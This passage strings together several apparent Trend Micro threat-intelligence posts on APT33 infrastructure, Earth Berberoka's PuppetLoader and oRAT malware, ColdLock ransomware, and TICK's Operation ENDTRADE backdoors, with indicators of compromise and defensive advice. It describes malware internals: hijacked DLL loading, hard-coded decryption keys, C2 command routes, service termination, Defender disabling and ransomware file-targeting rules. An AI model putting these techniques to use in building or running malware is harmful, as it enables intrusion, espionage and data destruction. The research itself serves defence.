185.125.204.57
10/25/18
1/14/19
185.175.138.173
1/19/19
1/22/19
188.165.119.138
10/8/18
11/19/18
193.70.71.112
3/7/19
3/17/19
195.154.41.72
1/13/19
1/20/19
213.32.113.159
6/30/19
9/16/19
216.244.93.137
12/10/18
12/21/18
Table 3.
IP addresses associated with a few private VPN exit nodes connected to APT33
It appears that these private VPN exit nodes are also used for reconnaissance of networks that are relevant to the supply chain of the oil industry.
More concretely, we have witnessed some of the IP addresses in Table 3 doing reconnaissance on the network of an oil exploration company and military hospitals in the Middle East, as well as an oil company in the U.S..
Figure 2.
APT33’s usage of a private VPN network
APT33 used its private VPN network to access websites of penetration testing companies, webmail, websites on vulnerabilities, and websites related to cryptocurrencies, as well as to read hacker blogs and forums.
APT33 also has a clear interest in websites that specialize in the recruitment of employees in the oil and gas industry.
We recommend companies in the oil and gas industry to cross-relate their security log files with the IP addresses listed above.
Security recommendations
The continued modernization of facilities for oil, gas, water, and power is making it more difficult to secure them.
Outright attacks, readily exploitable vulnerabilities, as well as exposed SCADA/HMI are serious issues.
Here are some of the best practices that these organizations can adopt:
Establish a regular patching and update policy for all systems.
Download patches as soon as possible to prevent cybercriminals from exploiting these security flaws.
Improve employee awareness on the latest attack techniques that cybercriminals use.
IT administrators should apply the principle of least privilege to make monitoring of inbound and outbound traffic easier.
Install a multilayered protection system that can detect and block malicious intrusions from the gateway to the endpoint.
Securing supply chains to these complex and often multinational systems is also difficult, as they usually have necessary third-party suppliers that are embedded in their core operations.
These parties may be overlooked in terms of security, and vulnerabilities in the communication or connections with them are often targeted by cybercriminals.
Read our supply chain attack research and our security recommendations here.
As mentioned above, APT33 is known to use spear phishing emails to gain entry into a target’s network, and given their malicious activity the threat is definitively serious.
To defend against spam and email threats, businesses can consider Trend Micro™ endpoint solutions such as Trend Micro Smart Protection Suites and Worry-Free™ Business Security.
Trend Micro Deep Discovery™ has an email inspection layer that can protect enterprises by detecting malicious attachments and URLs.
Trend Micro™ Hosted Email Security is a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network.
It protects Microsoft Exchange, Microsoft Office 365, Google Apps, and other hosted and on-premises email solutions.
Indicators of Compromise
File name
SHA256
Detection Name
MsdUpdate.exe
e954ff741baebb173ba45fbcfdea7499d00d8cfa2933b69f6cc0970b294f9ffd
Trojan.
Win32.NYMERIA.MLR
MsdUpdate.exe
b58a2ef01af65d32ca4ba555bd72931dc68728e6d96d8808afca029b4c75d31e
Trojan.
Win32.SCAR.AB
MsdUpdate.exe
a67461a0c14fc1528ad83b9bd874f53b7616cfed99656442fb4d9cdd7d09e449
Trojan.
Win32.SCAR.AC
MsdUpdate.exe
c303454efb21c0bf0df6fb6c2a14e401efeb57c1c574f63cdae74ef74a3b01f2
Trojan.
Win32.NYMERIA.MLW
MsdUpdate.exe
75e6bafc4fa496b418df0208f12e688b16e7afdb94a7b30e3eca532717beb9ba
Trojan.
Win32.SCAR.AD
MsdUpdate.exe
8fb6cbf6f6b6a897bf0ee1217dbf738bce7a3000507b89ea30049fd670018b46
Trojan.
Win32.SCAR.AD
DysonPart.exe
ba9d76cca6b5c7308961cfe3739dc1328f3dad9a824417fad73b842b043daa1a
Trojan.
Win32.SCAR.AD
Unknown
07e1baf1d0207a139bcf39c60354666496e4331381d36eef9359120b1d8497f1
Trojan.
Win32.SCAR.AD
Tags
Malware
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APT & Targeted Attacks
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Endpoints
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Research
We recently discovered a new advanced persistent threat (APT) group that we have dubbed Earth Berberoka (aka GamblingPuppet).
Based on our analysis, this group targets gambling websites.
Our investigation has also uncovered that Earth Berberoka targets the Windows, Linux, and macOS platforms, and uses malware families that have been historically attributed to Chinese-speaking individuals.
In this blog entry, we provide an overview of the Windows malware families used by Earth Berberoka in its campaign.
This malware lineup includes tried-and-tested malware families that have been upgraded, such as PlugX and Gh0st RAT, and a brand-new multistage malware family that we have dubbed PuppetLoader.
We discuss the full technical details of Earth Berberoka’s malware families aimed at Linux and macOS as well as Windows, infection vectors, targets, and possible connections with other APT groups in our research paper “Operation Earth Berberoka: An Analysis of a Multivector and Multiplatform APT Campaign Targeting Online Gambling Sites.”
Technical analysis
PuppetLoader
We discovered a new malware family that we have dubbed PuppetLoader.
It is a complex, five-stage malware family that uses some interesting techniques, including hijacking loaded modules to launch malicious code and hiding malicious payloads and modules in modified bitmap image (BMP) files.
Stage 1: Obfuscator and loader
Incorrect RC4 implementation
In this stage, a blob of payload data is decrypted using a hard-coded key (2726c6aea9970bb95211304705b5f595) and what appears to be an RC4 (Rivest Cipher 4) algorithm.
However, the cipher’s “swap” operation in the pseudorandom generation part of the cipher code was improperly implemented.
This resulted in the proper encryption of only the headers and the first few sections of the payload, while the latter sections were left almost entirely in clear text.
It seems that this hard-coded key and flawed RC4 implementation were also used in a malware family named TigerPlug, probably because it spreads the PlugX malware.
We found no public reporting of its behavior and features.
Hijacking loaded module
After the payload is decrypted, it is loaded in the machine’s memory and is executed using a stealthy method: PuppetLoader starts by loading a legitimate DLL from the Windows\System32 directory.
The loading process is then hijacked to replace the legitimate library with a malicious one.
This is done by hooking NTDLL APIs such as NtQueryAttributesFile, NtOpenFile, NtCreateSection, NtMapViewOfSection, NtQuerySection and ZwClose.
The loader uses undocumented NTDLL APIs, such as RtlPushFrame, RtlPopFrame, and RtlGetFrame, to avoid recursive booking, which happens when a hooked function indirectly calls itself.
To properly load the malicious payload, a frame tagged as “LDFM” is allocated and filled with the necessary parameters, such as file names’ memory addresses and allocated buffer handles or addresses that contain the malicious payload.
After their values are identified, some parameters are set immediately, while others are set at a later time.
Figure 1.
LDFM loading frame
LdrLoadDll is then called to load a legitimate asyclfilt.dll library.
Afterward, previously hooked API functions are called, resulting in the loaded DLL name’s being replaced with lz32.dll, which is a legitimate DLL.
The content of this legitimate DLL is then replaced by a malicious payload that is inside the hooked NtMapViewOfSection function.
Then, the LdrLoadDll function rebases the newly loaded malicious image and loads all of the needed dependencies.
The malware no longer needs the frame once the handle is returned from the LdrLoadDLL function, which is why it pops the frame by calling RtlPopFrame, unhooks previously hooked functions, and verifies whether the loading is successful or not by calling GetModuleHandleW (asycfilt.dll).
The malware then dynamically resolves the export function called Install and sets the parameter value to “11BF29E1371C0D83C530BD1BF346”, which decrypts to a function called OneTime.
For its command-line parameters, PuppetLoader uses the same flawed RC4 implementation using the password “whk0q9ogev6ofg8d”.
These hijacking steps result in the following:
The loaded asycfilt.dll module can be seen by parsing the PEB_LDR_DATA structure that contains all loaded modules in the current process.
Figure 2. asycfilt.dll shown among loaded module names
lz32.dll is opened based on process monitoring tools.
Figure 3. lz32.dll shown among opened files
Only PuppetLoader’s dropper payload is loaded and none of the previously mentioned libraries is actually loaded.
Stage 2: Dropper
The dropper creates and drops several files in an infected machine.
File
Function
CpuppetProcessFileSharer
Used for sharing data during the different infection stages
Config.ini
Saves the execution reason and the globally unique identifier (GUID) value based on ComputerName
MSVCPX00.dll
DLL file of BasicLoader
verisign.bmp
BMP file with encrypted Core
bitmap.bmp
BMP file with encrypted Client.
MainConsole
Table 1.
The files created and dropped by the dropper
The hard-coded GUID ({78106D5F-CD1A-A8C4-A625-6863092B4BBA}) is inserted into CPuppetProcessFileSharer (C:\\Users\\Public\\Pictures\\Desktop.inf).
We believe that it serves as a marker that stage 2 has been completed.
Config.ini (C:\Users\Public\Videos\Config.ini) contains the GUID and the reason, which is the hard-coded value “StartupBasicLoader” encrypted using a key (whk0q9ogev6ofg8d).
The svchost.exe is started in suspended mode with this command-line parameter:
-cmd -NoModuleLoadDLL -DisplayName=KeepAuthority.
Client.
MainConsole.x64.Release -InvokeMethodName=Run -InokeMethodParam=NULL”
This is also encrypted with the previously mentioned key and a new thread is created within svchost.exe to make it load the BasicLoader payload, MSVCPX00.dll.
It is interesting to note that there is a typographical error in “-InokeMethodParam.”
Stage 3: BasicLoader
The BasicLoader stage starts by adding a hard-coded GUID ({78106D5F-CD1A-A8C4-A625-6863092B4BBA}) into CPuppetProcessFileSharer.
As with stage 2, we believe that this is likely a marker that stage 3 has started running.
BasicLoader searches for BMP files across directories in Users\\Public (Desktop, Documents, Downlaods, Music, Pictures, and Videos).
It checks each directory for BMP files that would pass the required structure.
For the BMP files that do, the payload appended to the BMP file is decrypted, loaded into memory, and executed.
The BMP file is made up of only 33 x 11 pixels and 338 bytes, and the data appended to it is the payload that is encrypted with the same flawed RC4 implementation.
Figure 4.
A small BMP file, to which encrypted payloads are appended
Stage 4: Core
This stage begins when a hard-coded GUID ({7D8DA9DC-1F3B-2E5C-AA59-9418E652E4AA}) is added to CPuppetProcessFileSharer.
Similar to the other stages, this is likely a marker that stage 4 has started running.
After this, the malware starts a system logger thread, where the logged information is received via a pipe and is saved to a file with a hard-coded name.
The logged information can come from other modules or processes.
Based on our analysis, each log file entry is separated by a separator (0xAABBCCDD), followed by a custom RC4 password and message length.
The decrypted log can include the following information:
The module that was run
The parameters at which this module was run
At which stage (GUID from CPuppetProcessFileSharer) the action was performed
Figure 5.
Decrypted log from Core
The following command-line arguments are also implemented during this stage:
-DisplayName
-InokeMethodParam (sic)
-InvokeMethodName
-NoModuleLoadDLL
-LoadShellcode
While the other arguments are mostly self-explanatory, we highlight two arguments worth noting: -NoModuleLoadDLL uses the same technique as the stage 1 loader and -LoadShellcode allocates a memory block, copies shellcode, and executes it.
Stage 5: Client.
MainConsole
This is the main client binary written in C++, which is the last stage of PuppetLoader’s infection chain.
The code is structured in several classes that handle different tasks, such as managing the interactive shell, uploading and downloading files, installing new modules, monitoring victim behavior, and  executing callback functions when conditions are met.
CPipeCmdManager – interactive shell manager
Arguments:
-flushusersession
-createcmd
-destorycmd (sic)
-excutecmd
-cmdkeepalive
CommonLib::CcmdMulArgDecoder – command-line argument decoder, additional module related to command-line arguments
Arguments:
-ModuleLog
-LogText
-ModuleID
-ModuleVersion
-MountStatus
-Path
-IsDelete
-ModuleKeepAlive
-UploadFile
The client then establishes communication with a command-and-control (C&C) server via UDP (User Datagram Protocol) and recognizes different types of custom UDP packets:
UDP packet
Description
RemoteModuleCommandPacket
Command to be executed by interactive shell
RemoteModuleCommandResultPacket
Result of running shell command
FileTransferContent_Packet
Determines whether to upload or download a file
UploadFilePacket
Uploaded file content
FileManage_FolderContent_Packet
Folder content
VecProcessPacket
Vector object with running processes
InstallModulePacket
BMP with encrypted module to be installed
RemoteClientSystemInfoPacket
Sent by login callback every time a new user logs in
ModuleKeepAlivePacket
Tells the C&C server that the connection is still alive
Table 2.
The custom UDP packets recognized by the client
The backdoor functions implemented in the main client are:
Interactive shell
Upload file
Download file
List files
Terminate process
List processes
Install module
Login callback
Enumerate RDP sessions
The communication protocol via UDP uses the same RC4 encryption.
A sent and/or received packet contains a 16-byte RC4 key and the length of an RC4-encrypted payload, followed by another packet with the encrypted payload itself.
oRAT
Another malware family that we obtained both Windows and macOS samples of during our investigation was oRAT.
Interestingly, this was the first time that we had analyzed samples of this malware family written in the Go language.
The oRAT droppers that we found in our analysis were a MiMi chat application built using the Electron JS framework and a DMG (disk image) file.
We discuss the full details of both in our research paper.
The samples are flagged as version 0.5.1 for both Windows and macOS samples, and have the same features and configurations.
The configuration file and the AES decryption key are appended in an encrypted form to the PE (Portable Executable) file overlay.
Figure 6.
The decrypted oRAT configuration
The configuration is decrypted using the AES-GCM (AES with Galois/Counter Mode) algorithm.
The malware then parses it and enables the gateway or traffic forwarder mode if it is specified in the configuration settings.
For the malware operator to directly connect to an infected machine and execute commands via GET or POST requests, the malware starts local servers on the infected machine to listen on ports that have been specified in the configuration settings for control commands.
The network communications can be in plain text or encrypted, depending on the configuration of the file:
“tcp” for plain text
“stcp” for encrypted TCP communications using the golang-tls library
“sudp” for encrypted UDP traffic using the Quic-go library
The control server is implemented by registering routes.
This simple mechanism leads to translating GET/POST requests directly as internal Go commands.
Requesting a URL therefore results in executing the corresponding code on an infected system.
We obtained oRAT samples that register these routes:
GET /agent/info
GET /agent/ping
POST /agent/upload
GET /agent/download
GET /agent/screenshot
GET /agent/zip
GET /agent/unzip
GET /agent/kill-self
GET /agent/portscan
GET /agent/proxy
GET /agent/ssh
GET /agent/net
PuppetDownloaders (C++ downloaders)
During our investigation, we also saw malicious websites that distribute fake Adobe Flash Player updates that were actually delivering C++ downloaders.
The infection starts with an executable written in C++ that connects through a Winsock API to a domain or IP address in a specific port.
The downloaded content is saved as SMTemp.dat, and using the executable’s file name and a hard-coded XOR key, a file named Loader.dll is decrypted and copied to the disk.
If the executable is renamed for whatever reason, the DLL decryption fails and the malware’s second stage does not go through.
If the SMTemp.dat file exists, the Loader.dll file executes it.
After that, the loader decrypts a legitimate Adobe Flash Player installer and executes it, in order to deceive the victim into thinking that the executable is a legitimate installer.
During our investigation, we noted that the server hosting the second stage of the PuppetDownloaders malware payload was offline.
It is also interesting to note that the string decryption routine of this malware is a simple XOR with the string “2020-05-24 13:00:29” as its key.
The first 13 bytes of the password that is used to decode the string are the same as the last 13 bytes.
Figure 7.
XOR decryption routine
We dubbed these downloaders PuppetDownloaders since they are connected to the PuppetLoader malware family, as evidenced by our observations:
This malware and PuppetLoader both use the same string decryption routine that uses the same key.
This malware and PuppetLoader both use the same XOR key (2726c6aea9970bb95211304705b5f595) that is used to decrypt the embedded Loader.dll file.
This malware and PuppetLoader’s decrypted Loader.dlls share similar strings such as “[-] UnExist pwszModuleFunName:”.
This suggests that a common framework was used to compile both DLLs.
MFC socket downloaders
We also saw WinRAR self-extracting (SFX) files dropping downloaders written using the Microsoft Foundation Class Library (MFC) framework.
These MFC socket downloaders have an identical structure: One function creates a socket, connects to a domain or IP address, sends a short string, and then calls “recv” twice.
The code flow is redirected through a call to EnumDesktopsA or EnumWindows, whose callback function pointers point to the downloaded content.
The downloaders attempt to access ports 8080, 29527, and 8885.
They also send the strings “feiji”, “@5436”, and “fhfgj@jfggdsg” to the sockets.
We found multiple additional samples of the same malware family that have the same structure and send the same strings.
However, it is possible that multiple groups might be covertly sharing the source code for this malware.
PlugX
PlugX is a remote access tool (RAT) that has been used as a malicious tool for espionage for more than a decade.
We found that Earth Berberoka uses PlugX to target 32-bit and 64-bit architectures, based on the samples we obtained and analyzed.
This malware family sends a DWORD, a 32-bit unsigned integer, in the HELLO packet.
A compromised system then sends the HELLO packet, which looks like a date in the “yyyymmdd” format, to the C&C server.
We found the following DWORDs in multiple samples we analyzed, which suggest that the versions we found were developed within the last three years: 20190520, 20201106, and 20210804.
All of the samples we found are loaded in the same way: A legitimate and signed file that is vulnerable to DLL sideloading is placed alongside a malicious DLL, which decrypts and loads the third file containing the final payload.
One of these malicious DLL files has the PDB (program database) path C:\Users\Administrator\Desktop\Plug7.0(Logger)\logexts\x64\Release\logexts.pdb.
Gh0st RAT
We also saw at least three different variants of Gh0st RAT, another malware family that has been in the wild for more than 10 years, being used in Earth Berberoka’s campaign.
This malware family’s source code is public, which is why it has many variants.
One of the variants we analyzed had an interesting destructive feature: It replaces the master boot record (MBR) to display an explicit message (“I am virus !
F*ck you :-)”).
This particular message was also seen in a public report from a victim of this Gh0st RAT variant.
A 2017 Industrial Control Systems Cyber Emergency Response Team (ICS-CERT) report also discussed how Gh0st RAT variants wiped the MBR and replaced it with messages that varied across different samples.
Other Known Malware Families
We also found other legitimate tools being abused by Earth Berberoka and a malware family being used by the group in its campaign:
Quasar RAT – a Windows-based open-source RAT that has been used by APT groups for network exploitation
AsyncRAT – an open-source RAT that can be used to remotely monitor and control devices via an encrypted connection
Trochilus – a stealthy RAT that can evade sandbox analysis and can be used in cyberespionage campaigns
Security recommendations
Our analysis points to Earth Berberoka’s having multiple tools and a large infrastructure at its disposal to target the Southeast Asian gambling market.
To avoid falling victim to Earth Berberoka’s attacks, users and operators of gambling websites can adopt the following security recommendations:
Properly vet emails, websites, and apps before clicking on links or downloading apps.
Download apps only from trusted sources.
Watch out for malicious website flags, such as errors in grammar and spelling.
Block threats that arrive via email, such as malicious links, through hosted email security and antispam protection.
Use a multilayered security solution that helps with detecting, scanning, and blocking malicious URLs.
The full technical details of our investigation can be found in our research paper, which we will publish soon.
We list down the indicators of compromise (IOCs) for Windows, Linux, and macOS in separate text files.
We also provide the domain list in a separate text file.
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APT & Targeted Attacks
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Endpoints
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Research
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Articles, News, Reports
Updated on May 6, 2020, 7:20 Pacific Time with further details regarding directories targeted for encryption.
A new targeted attack has infected several organizations in Taiwan with a new ransomware family, which we have dubbed ColdLock.
This attack is potentially destructive as the ransomware appears to target databases and email servers for encryption.
The information we gathered indicates that this attack started hitting organizations in early May.
Analysis of the malware points to similarities between ColdLock and two previously known ransomware families, specifically Lockergoga, Freezing, and the EDA2 “educational” ransomware kit.
There have been no indications that this attack has hit any other organization outside of those targeted; we do not believe that this family is currently in widespread use.
Trend Micro users are protected from this threat, which we detect as Ransom.MSIL.COLDLOCK.YPAE-A and Ransom.PS1.COLDLOCK.YPAE-A.
The blog post below describes the behavior of this threat, and describes its links to other ransomware threats.
Arrival Vector
We currently do not know the initial arrival vector of this threat into a potential victim’s network.
However, we believe that the attackers somehow gained access to the target organization’s Active Directory servers.
From this point, they were able to set Group Policies that led to the ransomware file being downloaded and run onto machines within the affected domain.
The payload arrives as a .NET executable (as a .DLL file), which has been packed/protected using the ConfuserEx packer.
It uses PowerShell reflective loading of .NET executables to run the said .DLL file:
Figure 1.
Reflective loading of the .DLL file
It also contains two checks to verify if it’s running.
Firstly, it checks for the presence of %System Root%\ProgramData\readme.tmp, which is used by the ransom note.
This check prevents a system from being reinfected by the same threat:
Figure 2.
Ransom note check
More unusually, it will check the system clock.
It will only run at or later than 12:10 PM on any given day; if it is earlier, it will sleep for 15 seconds until it is past the said time.
Figure 3.
Time bomb in code
Encryption Routines
Before it encrypts any file, the ransomware also performs certain preparatory routines.
Firstly, it terminates several services on the system if they are running to prevent file access violations.
These services are:
mariadb
msexchangeis
mssql
mysql
oracleservice
These are service names used by various databases, as well as the Exchange mail server.
It will also terminate the Outlook process.
Figure 4.
Service and process termination
It also checks the Windows version running on the system.
If it is running Windows 10, it carries out several Windows 10-specific routines.
Windows Defender is disabled, as well as the ability to send feedback/malware samples to Microsoft.
Push notifications are disabled as well.
Figure 5.
Disabling Windows Defender
The actual encryption routine is slightly unusual.
It will avoid encrypting the following directories:
%System Root%\Program Files
%System Root%\Program Files (x86)
%System Root%\ProgramData
%System Root%\Users\all users
%System Root%\Users\default
{malware directory}
{drive letter}:\System Volume Information
{drive letter}:\$Recycle.bin
However, the following directories are exceptions to the above list, and would still be encrypted:
%System Root%\ProgramData\Microsoft\Windows\Start Menu
%System Root%\Program Files\Microsoft\Exchange Server
%System Root%\Program Files (x86)\Microsoft\Exchange Server
Directories under (Program Files, Program Files (x86), and ProgramData) containing any of the following strings:
sql
mariadb
oracle
Whether files in other directories are encrypted depends on a set of three conditions, namely:
Number of files on the target directory is less than 100
Directory’s last write time is newer than January 1, 2018.
Directory name should not contain any of the following strings:
.git
appdata
cache
image
lib
log
logs
microsoft
reference
res
resource
script
setup
skin
temp
theme
third_party
thirdparty
If all of the above conditions are met, it will encrypt all the files in the given directory except those with the following extensions:
.avi
.dll
.gif
.iso
.m2ts
.mkv
.mov
.mp3
.msi
.ocx
.tmp
.wmv
In other cases — where some (or all) of the conditions are not met — it will only encrypt files with the following extensions:
.7z
.aspx
.bak
.cpp
.csv
.doc
.docx
.gz
.hwp
.java
.jpg
.jsp
.lnk
.odt
.one
.php
.ppt
.pptx
.pst
.rar
.sh
.sql
.txt
.xls
.xlsx
.xml
.zip
Figure 6.
Whitelist/blacklist code
The encryption process uses the AES function in CBC mode.
It generates the needed key and initialization vector (IV) using a salt and secret key; the former is embedded in the code while the latter is generated dynamically using the SHA-256 hash of a randomly generated 32-byte long string.
This is then encrypted using a hard-coded public RSA key and then embedded in the ransom note.
Encrypted files get the .locked extension.
Figure 7. AES encryption code
Figure 8.
Secret key generation
The ransom note is stored in various locations on the system, namely:
%Desktop%\How To Unlock Files.
Txt
%System Root%\ProgramData\readme.tmp
%User Startup%\How To Unlock Files.
Txt
{Encrypted Drive}:\How To Unlock Files.
Txt
The contents of this note are similar to other ransomware notes:
Figure 9.
Ransom note
The ransomware then changes the system’s wallpaper for all users; it now contains an instruction to read a text file (the ransom note).
It does this by changing several registry settings.
Figure 10.
Modified system wallpaper
Connections to other ransomware families
At first glance, it would seem that this threat is related to Lockergoga, since they share the same extension for encrypted files (.locked).
However, other ransomware families also use this extension, making the connection more tenuous.
A more reasonable link to the Freezing ransomware family exists.
It shares a similar method of propagation within networks (compromised AD servers), reflective injection methods, and internal module architecture.
The code also shares similarities with the open-source EDA2 ransomware kit.
As early as several years ago, ransomware threats spreading in the wild were based on EDA2, which was supposedly only for “recreational” purposes.
Trend Micro solutions
Ransomware continues to be a lingering threat, something we mentioned in our last Annual Security Roundup after seeing that the number of ransomware cases we detected climbed from 55 million in 2018 to 61 million in 2019.
Cases like these are more dangerous, as threats that compromise enterprise systems allow for much easier propagation within enterprise networks.
Below are some of the best practices users can do to protect systems from ransomware:
Periodically back up files using the 3-2-1 rule.
The rule entails creating three backups in two different formats and storing one copy offsite.
Regularly patch and update applications, software, and operating systems to address any exploitable vulnerabilities.
For zero-day vulnerabilities, take advantage of virtual patching.
Activate sandbox analysis.
This enables safe monitoring as malicious files can be executed in an isolated environment.
For more robust and proactive defense against ransomware, the following Trend Micro solutions are recommended:
Trend Micro Smart Protection Suites - Applies AI and analytics for earlier detection of threats across endpoints and other layers of the system
Trend Micro™ Deep Discovery™– Detects, blocks, and analyzes malicious email attachments through custom sandboxing and other detection techniques
Trend Micro Safe Lock™ TXOne Edition locks down system functionality to allow only authorized applications and services to be run on mission-critical assets.
It has negligible impact on system performance compared to traditional cybersecurity software, which requires an internet connection, periodic updates, and regular malware scans.
It provides control of operational integrity while efficiently reducing the chance of downtime and cost of maintaining resilience.
Indicators of Compromise
SHA-256 hash
Detection Name
08677a3dac3609d13dc4a2a6868ee2f6c1334f4579356d162b706a03839bb9ff
Ransom.PS1.COLDLOCK.YPAE-A
c5108344e8a6da617af1c4a7fd8924a64130b4c86fa0f6d6225bb75534a80a35
Ransom.MSIL.COLDLOCK.YPAE-A
All Trend Micro products using the latest VSAPI pattern (15.849.00 or later) are capable of successful detection of this malware.
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While we have been following cyberespionage group TICK (a.k.a.
“BRONZE BUTLER” or “REDBALDKNIGHT”) since 2008, we noticed an unusual increase in malware development and deployments towards November 2018.
We already know that the group uses previously deployed malware and modified tools for obfuscation, but we also found TICK developing new malware families capable of detection evasion for initial intrusion, as well as escalation of administrative privileges for subsequent attacks and data collection.
We also found the group using legitimate email accounts and credentials for the delivery of the malware, zeroing in on industries with highly classified information: defense, aerospace, chemical, and satellite industries with head offices in Japan and subsidiaries in China.
Given their targets, we have named this campaign “Operation ENDTRADE,” and identified some of the findings in our research “Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data”.
This research paper was submitted and presented for the DeepINTEL Security Intelligence 2019 Conference on November 27, 2019 in Vienna, Austria.
Targeting and malware delivery
Figure 1.
Operation ENDTRADE’s timeline
As part of their attacks in January 2019, TICK was conducting their research by compromising a Japanese economic research company and a public relations (PR) agency to steal email credentials and files as decoy documents.
These email addresses were used for spear phishing, prompting potential victim organizations to open the attachments with malware payloads.
Meanwhile, the documents were embedded with malware, and sent to individuals and companies knowledgeable in Japanese or Chinese, and interested in the Chinese economy.
The emails had the following features:
They were sent from legitimate email accounts
They were written as legitimate reports and prompted the users to open the attachments
They contained subject topics related to “salary rate increase” or “job market,” or with special interests in the economic affairs of China such as the US-China trade mandates
Figure 2.
Spear phishing sample in fluent Japanese
Based on the language that was hardcoded in the samples we found, TICK appeared to be targeting Japanese organizations with subsidiaries in China to serve as footholds for intrusion: TICK hard-coded two code pages 932 and 936, referring to Japanese and Simplified Chinese characters respectively.
Moreover, we found successful transfers of malicious executable files in the shared folder from a Chinese subsidiary with an infected desktop, and an employee in Japan that executed the said file.
Figure 3.
Language code pages
While we found intrusions in a large number of companies in the abovementioned industries before May 2019, further analysis revealed that one of the main targets was the defense sector.
We found TICK trying to steal military-related documents from the victim network during an extended assistance for incident response in the region.
However, TICK seemed to shift their attention to the chemical industry by mid-May, which may indicate the group’s sponsor organization’s goal: To steal proprietary and classified information such as military data and advanced materials.
Malware Analysis
Our research lists some of the new and adjusted malware routines we found from Operation ENDTRADE, which we named based on their characteristic program database (PDB) strings.
For a complete list and analyses of the trojans, downloaders, and modified tools, you may access the research brief here.
Figure 4.
New downloaders and trojans
DATPER
While this backdoor routine has been associated with TICK’s weapons arsenal, the sample we derived from this campaign had two adjusted mutex objects — d0ftyzxcdrfdqwe and *&Hjgfc49gna-2-tjb — that retrieve information from the victim’s machine.
The latest variant also has a new set of parameters that allow it to evade anti-virus (AV) product pattern detections, implying the ease by which the group can change their routines to suit their goals.
Figure 5.
DATPER’s new mutex with separate parameters
down_new
This malware combines features of existing trojans in the malware family’s development, based on the adjustments TICK made as we analyzed their test versions.
It adds features (listed below) that can be found separately on previous iterations:
Adds Autorun to the registry.
Gets MAC address and volume information to send back to the C&C.
Executes only during working hours (8:00AM-6:00PM, using kernel32.GetLocalTime API)
Uses AES encryption and base64 encoding method to encrypt the call back message.
Uses legitimate websites for the C&C server.
Detects anti-virus products and processes.
Figure 6.
Code showing down_new’s command function
Table 1. down_new command list
As we studied its processes to compare with the others, the call back information stood out: The HTTP post header is hard-coded in the sample, getting the infected machine’s specific information to single out the identity of the users.
As a cyber-espionage group with specific goals based on their sponsoring organization’s objectives, TICK only goes after specific targets and only uses other non-targeted individuals and enterprises as footholds to meet their purposes.
Figure 7. down_new collects home phone data and URL path
Avenger
Our analysis found that Avenger has a number of variants and versions depending on their targets.
For example, some variants have autorun functions while others execute a sleep mode upon system infection.
We found that the downloader has three stages:
The first stage collects volume information, AV product, and OS bits version from the host, and sends it to the command and control (C&C) server to ensure that the host is the intended target.
Figure 8.
First stage: Information collection
2.
It then checks if the host matches their C&C server reference.
Avenger collects the victim’s detailed information from the system by browsing the folders, files, and domain information.
Figure 9.
Second stage: Collected information is written into a .txt file
3.
If the host doesn’t exist, Avenger will download an image with an embedded malware hidden via steganography and extract a backdoor.
Figure 10.
Third stage: Sending the encrypted file to the C&C
While steganography is always used as part of TICK’s malware techniques, we found that the group used a more sophisticated steganography technique in this campaign.
Figure 11.
Backdoor found in the steganography image
Figure 12.
Upgraded steganography technique
We found a newer version of Avenger with a clearer code structure and internal IP testing URL (aptly named Avenger2 in the PDB strings), though the rest of the components had minimal differences with the previous version.
Figure 13.
Avenger2 with internal URL
Casper
Casper is a modified version of the Cobalt Strike backdoor, showing the team server SHA1 hash if the controller connects to the C&C.
If accessed by the client, Cobalt Strike confirms with the user if they recognize and match the SHA1 hash of a specific team server’s SSL certificate.
Figure 14.
Casper C&C with Cobalt Strike’s server fingerprint
The backdoor is usually hidden in the steganography photo and uses several techniques and tools to bypass AV detection.
One technique involves launching itself with a legitimate Windows application with Dynamic Link Library (DLL) side loading techniques.
Another involves injecting the backdoor’s shellcode into svchost.exe.
Figure 15.
Shellcode injected to svchost.exe
Publicly available RATs and modified tools
Included in all the malware routines, we also found TICK using publicly available remote access trojans (RATs) and ope n source tools, and either modified or imported the techniques into their malware.
For instance, they cloned Lilith RAT from GitHub, studied and implemented its features into their customized backdoor under continued development.
The list of modified tools the group used include Mimikatz, RAR compression tool, port mapping tool, and screen capture.
Figure 16.
Modified screen capture tool
Figure 17.
Modified Mimikatz
Conclusion
TICK is an organized and persistent cyber espionage group specialized in targeting high-value individuals and organizations, with the skills and resources needed to coordinate sophisticated attacks.
This operation not only highlights the need for stronger monitoring systems foremost in countries’ critical infrastructures and multinational enterprises, but also firmer operational chains of command and redundant security policies established.
Persistent criminal groups will continue to target enterprises, and will look for security gaps to exploit to gain unauthorized entry.
Organizations with foreign subsidiaries can make it difficult to take control and implement security procedures and policies, making monitoring, isolating, investigating, incident response, and recovery more difficult.
To top it all, employees’ security awareness and consciousness will remain a significant part of making sure the security measures in place are maintained for regular operations.
Trend Micro™ Deep Discovery™ provides detection, in-depth analysis, and proactive response to today’s stealthy malware and targeted attacks in real-time.
It provides a comprehensive defense tailored to protect organizations against targeted attacks and advanced threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack lifecycle, allowing it to detect threats like TICK’s attacks even without any engine or pattern update.
Trend Micro™ Deep Security™ provides virtual patching that protects endpoints from threats that abuses unpatched vulnerabilities.
Trend Micro’s suite of security solutions is powered by XGen™ security, which features high-fidelity machine learning to secure the gateway and endpoint data and applications.
XGen™ protects against today’s purpose-built threats that bypass traditional controls, exploit known, unknown, or undisclosed vulnerabilities, and either steal or encrypt personally-identifiable data.
For the full technical analyses of all the malware, techniques, tools, MITRE ATT&CK techniques and indicators of compromise (IoCs) we found in this campaign, download the research brief, “Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data”.
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Cybercriminals have different motivations: for example, some malicious actors have disruptive political attacks as their objective, while others might be more inclined towards cyberespionage and gathering information on their victims.
Of course, financial gain remains a powerful cybercrime motivation — perhaps even the most common one.
Some malicious actors, such as ransomware operators, earn directly from their cyberattacks.
Others, however, prefer to act as “cybermercenaries,” selling their services to anyone willing to pay.
One of the most prolific cybermercenaries is Void Balaur, a Russian-speaking threat actor group that has launched attacks against different sectors and industries all over the world.
Although Void Balaur offers a wide range of services, the group’s bread and butter is cyberespionage and information theft, selling highly sensitive information on individuals in underground forums and websites such as Probiv.
The group primarily targets email accounts and mailboxes.
While it offers standard mailbox copies that was likely stolen with the help of credential phishing, Void Balaur also offers copies of mailboxes that have not been interacted with — for a higher price.
